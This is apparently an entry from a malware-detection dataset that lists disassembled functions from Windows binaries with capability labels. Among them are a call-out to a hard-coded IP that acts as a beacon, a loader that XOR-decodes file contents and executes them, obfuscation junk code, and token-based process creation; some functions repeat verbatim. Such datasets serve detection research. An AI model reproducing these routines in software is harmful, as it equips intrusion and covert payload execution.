joyce8/EMBER2024-capa huggingface dataset:
Function at 0x418330
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
cld
adc dword [ecx], eax
add byte [ebx + 0x57], bl
push edx
add esp, 4
and edi, 0x107be
add edi, 0x8ec
and edi, 0x77b7
pop edi
push edi
sub edi, 0x57fd
sub edi, 0x13c45
and edi, 0x3bf0
call 0x41836c
add byte [esi], dh
dec ecx
dec edx
inc edx
xor dh, byte [ebx + eax*4]
les eax, [edi + ebx*2]
push esi
and esi, 0x64b8
jmp 0x41837e
pop esi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
invalid
invalid

Function at 0x41836c
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
cld
adc dword [ecx], eax
add byte [ebx + 0x57], bl
push edx
add esp, 4
and edi, 0x107be
add edi, 0x8ec
and edi, 0x77b7
pop edi
push edi
sub edi, 0x57fd
sub edi, 0x13c45
and edi, 0x3bf0
call 0x41836c
add byte [esi], dh
dec ecx
dec edx
inc edx
xor dh, byte [ebx + eax*4]
les eax, [edi + ebx*2]
push esi
and esi, 0x64b8
jmp 0x41837e
pop esi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
invalid
invalid

Function at 0x4183aa
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
add ebx, 0x4c29
sub ebx, 0x12f26
pop ebx
push edx
push ecx
add esp, 4
jmp 0x4183c5
pop edx
mov dword [ebp - 0x1fac], 0xffffffff
push edx
push esi
add esp, 4
jmp 0x4183da
jmp 0x4183e3
add edx, 0x7857
pop edx
push edi
push ecx
add esp, 4
xor edi, 0xb006
and edi, 0xd98a
xor edi, 0x1107e
pop edi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x41841f
Function at 0x418a9d
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop ecx
push edi
and edi, 0x801
or edi, 0x41a5
pop edi
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x418ad2
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x418b35
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x4189f1
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x4189f1
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x418b1f
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x418b29
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x418b7e
push edi
sub edi, 0x15dd9
pop edi
push edx
jmp 0x418b50
sub edx, 0x481d
call 0x418b66
add byte [edx + esi + 0x3f], cl
inc edi
xor ecx, dword [ebx + 0x32]
xor eax, 0xc4834740
add al, 0x81
loop 0x418bdc
mov ebx, 0x8b5a0000
test dword [ebx + edi*8], ebp
invalid
push esi
push ebx
add esp, 4
and esi, 0x129d
sub esi, 0x112f4
sub esi, 0xc896
or esi, 0xa623
pop esi
push edx
xor edx, 0x141f5
add edx, 0x98e2
and edx, 0x5120
pop edx
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x418bdc
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x418992
mov dword [ebp - 0x2e0], 0

Function at 0x418b66
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop ecx
push edi
and edi, 0x801
or edi, 0x41a5
pop edi
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x418ad2
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x418b35
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x4189f1
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x4189f1
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x418b1f
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x418b29
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x418b7e
push edi
sub edi, 0x15dd9
pop edi
push edx
jmp 0x418b50
sub edx, 0x481d
call 0x418b66
add byte [edx + esi + 0x3f], cl
inc edi
xor ecx, dword [ebx + 0x32]
xor eax, 0xc4834740
add al, 0x81
loop 0x418bdc
mov ebx, 0x8b5a0000
test dword [ebx + edi*8], ebp
invalid
push esi
push ebx
add esp, 4
and esi, 0x129d
sub esi, 0x112f4
sub esi, 0xc896
or esi, 0xa623
pop esi
push edx
xor edx, 0x141f5
add edx, 0x98e2
and edx, 0x5120
pop edx
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x418bdc
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x418992
mov dword [ebp - 0x2e0], 0
Function at 0x419010
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push eax
push ecx
add esp, 4
add eax, 0x6390
and eax, 0x184cf
jmp 0x41902a
add eax, 0x6774
pop eax
push eax
call 0x41903e
add byte [ecx], bh
push eax
inc esi
cmp eax, dword [eax + 0x36]
add esp, 4
pop eax
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x41906e
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x418e24
mov dword [ebp - 0x6ec], 0

Function at 0x41903e
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push eax
push ecx
add esp, 4
add eax, 0x6390
and eax, 0x184cf
jmp 0x41902a
add eax, 0x6774
pop eax
push eax
call 0x41903e
add byte [ecx], bh
push eax
inc esi
cmp eax, dword [eax + 0x36]
add esp, 4
pop eax
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x41906e
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x418e24
mov dword [ebp - 0x6ec], 0
Function at 0x401000
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f4
push str.http:__91.202.233.141_POKOSHSTATA
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_93.0.4577.82_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0
je 0x401074
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x3f0]
push ecx
mov edx, dword [ebp - 0x3f4]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x3f4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x401090
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x104
lea eax, [ebp - 0x410]
push eax
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x410]
push ecx
push str._sl0plop.txt
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4010e3
xor al, al
jmp 0x40111d
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0xffffffff
je 0x40111b
mov edx, dword [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x10001000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, 0x6f
mov word [ebp - 0x18], ax
mov ecx, 0x70
mov word [ebp - 0x16], cx
mov edx, 0x65
mov word [ebp - 0x14], dx
mov eax, 0x6e
mov word [ebp - 0x12], ax
xor ecx, ecx
mov word [ebp - 0x10], cx
mov byte [ebp - 0x30], 0x64
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x2e], 0x73
mov byte [ebp - 0x2d], 0x6b
mov byte [ebp - 0x2c], 0x74
mov byte [ebp - 0x2b], 0x6f
mov byte [ebp - 0x2a], 0x70
mov byte [ebp - 0x29], 0x2e
mov byte [ebp - 0x28], 0x69
mov byte [ebp - 0x27], 0x6e
mov byte [ebp - 0x26], 0x69
mov byte [ebp - 0x25], 0
mov byte [0x10003011], 0
mov byte [0x1000301a], 0
mov byte [0x10003029], 0
mov byte [0x10003036], 0
mov byte [0x10003049], 0
mov byte [0x10003055], 0
mov byte [0x10003062], 0
mov byte [0x1000306b], 0
mov byte [0x1000307a], 0
mov byte [0x10003083], 0
mov byte [0x10003096], 0
mov byte [0x100030a2], 0
mov byte [0x100030b5], 0
mov byte [0x100030c1], 0
mov byte [0x100030d4], 0
mov byte [0x100030e1], 0
mov byte [0x100030f3], 0
mov byte [0x100030ff], 0
mov byte [0x10003113], 0
mov byte [0x1000311c], 0
mov byte [0x1000312c], 0
mov byte [0x1000313a], 0
mov byte [0x10003149], 0
mov byte [0x10003155], 0
mov byte [0x10003165], 0
mov byte [0x10003173], 0
mov byte [0x10003182], 0
mov byte [0x10003190], 0
push 0x10003012
push 0x1000200c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
push 0x10003166
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
push 0x10003097
push 0x10002028
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push 0x100030d5
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], eax
push 1
push 0
push 0
push 0x10002048
push 0
push 0
call dword [ebp - 0x24]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea edx, [ebp - 0x30]
push edx
call dword [ebp - 8]
mov dword [0x10003198], eax
cmp dword [0x10003198], 0xffffffff
jne 0x100011ca
jmp 0x10001259
push 0x40
push 0x1000
push 0x1000
push 0
call dword [ebp - 0x1c]
mov dword [0x10003194], eax
push 0
push 0x1000319c
push 0x1000
mov eax, dword [0x10003194]
push eax
mov ecx, dword [0x10003198]
push ecx
call dword [ebp - 0xc]
mov edx, dword [0x10003194]
mov al, byte [edx]
mov byte [ebp - 0x31], al
mov dword [ebp - 4], 0x42
movzx ecx, byte [ebp - 0x31]
xor ecx, 0x4e
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x38], 0
jmp 0x1000122a
mov edx, dword [ebp - 0x38]
add edx, 1
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
cmp eax, dword [0x1000319c]
jae 0x10001253
mov ecx, dword [0x10003194]
add ecx, dword [ebp - 0x38]
movzx edx, byte [ecx]
xor edx, dword [ebp - 0x20]
add edx, dword [ebp - 4]
mov eax, dword [0x10003194]
add eax, dword [ebp - 0x38]
mov byte [eax], dl
jmp 0x10001221
call dword [0x10003194]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x10005468
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x434
mov eax, dword [0x10032300]
xor eax, esp
mov dword [esp + 0x430], eax
mov eax, fcn.10005854
push esi
test eax, eax
je 0x100054f5
push 0x424
lea eax, [esp + 0x10]
push 0
push eax
call fcn.100140c0
add esp, 0xc
push dword [ebp + 8]
mov dword [esp + 0xc], 0x428
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
mov dword [esp + 4], esi
test esi, esi
je 0x100054ec
cmp esi, 0xffffffff
je 0x100054ec
lea eax, [esp + 8]
push eax
push esi
call sub.KERNEL32.dll_Module32FirstW
jmp 0x100054e8
push edi
lea eax, [esp + 0xc]
push eax
call fcn.10005854
test eax, eax
je 0x100054ec
lea eax, [esp + 8]
push eax
push esi
call sub.KERNEL32.dll_Module32NextW
test eax, eax
jne 0x100054ce
lea ecx, [esp + 4]
call fcn.100012c0
mov ecx, dword [esp + 0x434]
pop esi
xor ecx, esp
call fcn.10011b53
mov esp, ebp
pop ebp
ret 4

Function at 0x1000550a
Capabilities:
Enumerate processes

Disassembly:
push ebp
lea ebp, [esp - 0x1b4]
sub esp, 0x234
mov eax, dword [0x10032300]
xor eax, ebp
mov dword [ebp + 0x1b0], eax
mov eax, fcn.10005802
test eax, eax
je 0x10005591
push esi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
mov dword [ebp - 0x80], esi
test esi, esi
je 0x10005588
cmp esi, 0xffffffff
je 0x10005588
push 0x228
lea eax, [ebp - 0x78]
push 0
push eax
mov dword [ebp - 0x7c], 0x22c
call fcn.100140c0
add esp, 0xc
lea eax, [ebp - 0x7c]
push eax
push esi
call sub.KERNEL32.dll_Process32FirstW
jmp 0x10005584
push edi
lea eax, [ebp - 0x7c]
push eax
call fcn.10005802
test eax, eax
je 0x10005588
lea eax, [ebp - 0x7c]
push eax
push esi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1000556c
lea ecx, [ebp - 0x80]
call fcn.100012c0
pop esi
mov ecx, dword [ebp + 0x1b0]
xor ecx, ebp
call fcn.10011b53
add ebp, 0x1b4
leave
ret

Function at 0x100055a6
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push esi
xor esi, esi
push edi
cmp dword [ebp + 8], esi
jne 0x100055b9
xor eax, eax
jmp 0x10005612
push 0x40
lea eax, [ebp - 0x58]
push esi
push eax
mov dword [ebp - 0x5c], 0x44
call fcn.100140c0
mov dword [ebp - 0x14], esi
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, dword [ebp + 8]
add esp, 0xc
call fcn.10004f94
mov edi, eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x5c]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1000560a
push dword [ebp - 0x10]
mov esi, dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.10004fc1
mov eax, esi
pop edi
pop esi
leave
ret 4
Function at 0x100056f3
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
push ebx
push esi
xor esi, esi
push edi
cmp dword [ebp + 8], esi
jne 0x1000570c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
call fcn.10005618
lea edi, [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
call fcn.1000550a
cmp dword [ebp - 0x14], esi
je 0x10005703
push dword [ebp - 0x18]
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x10], eax
cmp eax, esi
je 0x10005742
cmp eax, 0xffffffff
jne 0x1000574e
lea ecx, [ebp - 0x10]
call fcn.100012c0
mov eax, esi
jmp 0x10005705
lea ecx, [ebp - 8]
push ecx
push 0xf01ff
push eax
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10005742
push esi
push dword [ebp - 8]
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0xc], esi
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x100057f8
mov edi, dword [ebp + 8]
call fcn.10004f94
push 0x40
mov dword [ebp + 8], eax
lea eax, [ebp - 0x68]
push esi
push eax
mov dword [ebp - 0x6c], 0x44
call fcn.100140c0
add esp, 0xc
push 5
pop eax
mov word [ebp - 0x3c], ax
xor eax, eax
mov dword [ebp - 0x20], esi
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x6c]
push eax
push esi
push dword [ebp - 0xc]
mov dword [ebp - 0x40], 1
push 0x420
push esi
push esi
push esi
push dword [ebp + 8]
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x100057e7
push dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
call ebx
push dword [ebp + 8]
call fcn.10004fc1
push dword [ebp - 0xc]
call dword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
push dword [ebp - 8]
call ebx
jmp 0x10005742

Function at 0x10007846
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
xor esi, esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 4], esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
cmp edi, esi
je 0x1000787b
push dword [ebp + 0xc]
push dword [ebp - 4]
push str.thread__d_created:__s
call fcn.10007594
add esp, 0xc
mov eax, edi
pop edi
pop esi
leave
ret 8

Function at 0x10011125
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x190]
sub esp, 0x210
mov eax, dword [0x10032300]
xor eax, ebp
mov dword [ebp + 0x18c], eax
and dword [ebp - 0x80], 0
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x7c], ax
lea eax, [ebp - 0x7a]
push eax
call fcn.100140c0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push str.Logsignored
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [ebp - 0x7c]
mov ecx, esi
call fcn.10002f00
mov ecx, dword [ebp + 0x18c]
xor ecx, ebp
mov eax, esi
call fcn.10011b53
add ebp, 0x190
leave
ret
Function at 0x100113eb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 4
shl eax, 4
pop edx
mov esi, ecx
lea edi, [eax + ecx + 0x3c]
mov dword [ebp - 4], edx
xor eax, eax
mov ecx, edi
mov bl, byte [ecx]
xor byte [esi + eax], bl
inc eax
add ecx, edx
cmp eax, edx
jl 0x10011405
inc edi
add esi, edx
dec dword [ebp - 4]
jne 0x10011401
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1001149f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10032300]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 0x14]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 4
lea esi, [ebp - 8]
lea ecx, [eax + 4]
pop edi
mov al, byte [esi - 0xc]
mov dl, byte [esi - 8]
call fcn.10011554
mov bl, al
mov al, dl
call fcn.10011554
xor bl, al
xor bl, byte [esi - 4]
mov al, dl
xor bl, byte [esi]
xor bl, dl
mov byte [ecx - 4], bl
call fcn.10011554
mov bl, al
mov al, byte [esi - 4]
call fcn.10011554
xor bl, al
xor bl, byte [esi - 0xc]
mov al, byte [esi - 4]
xor bl, byte [esi]
xor bl, al
mov byte [ecx], bl
call fcn.10011554
mov bl, al
mov al, byte [esi]
call fcn.10011554
xor bl, al
mov al, byte [esi]
xor bl, dl
xor bl, byte [esi - 0xc]
xor bl, al
mov byte [ecx + 4], bl
call fcn.10011554
mov bl, al
mov al, byte [esi - 0xc]
call fcn.10011554
xor bl, al
xor bl, dl
xor bl, byte [esi - 4]
xor bl, byte [esi - 0xc]
inc ecx
mov byte [ecx + 7], bl
inc esi
dec edi
jne 0x100114c7
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10011b53
leave
ret 4

Function at 0x10011b53
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10032300]
jne 0x10011b5d
repz ret
jmp fcn.10013eb8
Function at 0x1001cbbd
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.100141ac
and dword [ebp - 4], 0
cmp dword [0x10034aac], 0
mov ebx, eax
jne 0x1001cc6e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1001cd1f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1001cd1f
push eax
call fcn.1001413a
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10034aac], eax
call esi
push eax
call fcn.1001413a
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10034ab0], eax
call esi
push eax
call fcn.1001413a
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x10034ab4], eax
call esi
push eax
call fcn.1001413a
pop ecx
mov dword [0x10034abc], eax
test eax, eax
je 0x1001cc6e
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1001413a
pop ecx
mov dword [0x10034ab8], eax
mov eax, dword [0x10034ab8]
cmp eax, ebx
je 0x1001ccc6
cmp dword [0x10034abc], ebx
je 0x1001ccc6
push eax
call fcn.100141b5
push dword [0x10034abc]
mov esi, eax
call fcn.100141b5
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1001ccc6
test edi, edi
je 0x1001ccc6
call esi
test eax, eax
je 0x1001ccbd
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1001ccbd
test byte [ebp - 0xc], 1
jne 0x1001ccc6
or dword [ebp + 0x10], 0x200000
jmp 0x1001ccff
mov eax, dword [0x10034ab0]
cmp eax, ebx
je 0x1001ccff
push eax
call fcn.100141b5
pop ecx
test eax, eax
je 0x1001ccff
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1001ccff
mov eax, dword [0x10034ab4]
cmp eax, ebx
je 0x1001ccff
push eax
call fcn.100141b5
pop ecx
test eax, eax
je 0x1001ccff
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10034aac]
call fcn.100141b5
pop ecx
test eax, eax
je 0x1001cd1f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1001cd21
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4013a0
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
cmp dword [ecx + 0x14], 0x10
jb 0x4013ab
mov ecx, dword [ecx]
push esi
push edi
mov edi, dword [ebp + 0xc]
push ecx
push 0x2712
push edi
call fcn.0040af90
push 0
push 0x4e2c
push edi
call fcn.0040af90
push 0x401370
push 0x4e2b
push edi
call fcn.0040af90
push dword [ebp + 8]
push 0x2711
push edi
call fcn.0040af90
push 1
push 0x3a
push edi
call fcn.0040af90
push 1
push 0x34
push edi
call fcn.0040af90
add esp, 0x48
push 5
push 0x44
push edi
call fcn.0040af90
push str.Mozilla_5.0__compatible__MSIE_9.0__Windows_NT_6.1__Trident_5.0_
push 0x2722
push edi
call fcn.0040af90
push 1
push 0x63
push edi
call fcn.0040af90
push 0x1e
push 0x4e
push edi
call fcn.0040af90
push edi
call fcn.0040af70
push edi
mov esi, eax
call fcn.0040af10
add esp, 0x38
mov eax, esi
pop edi
pop esi
pop ebp
ret 8

Function at 0x402850
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x471220]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push eax
push 0x46dc30
push reloc.WS2_32.dll_bind
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x4028b1
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x4028b1
mov eax, dword [esi + 0x2c8]
push 4
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 4
push 0
push 0x46dc4c
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00443b8c
mov esp, ebp
pop ebp
ret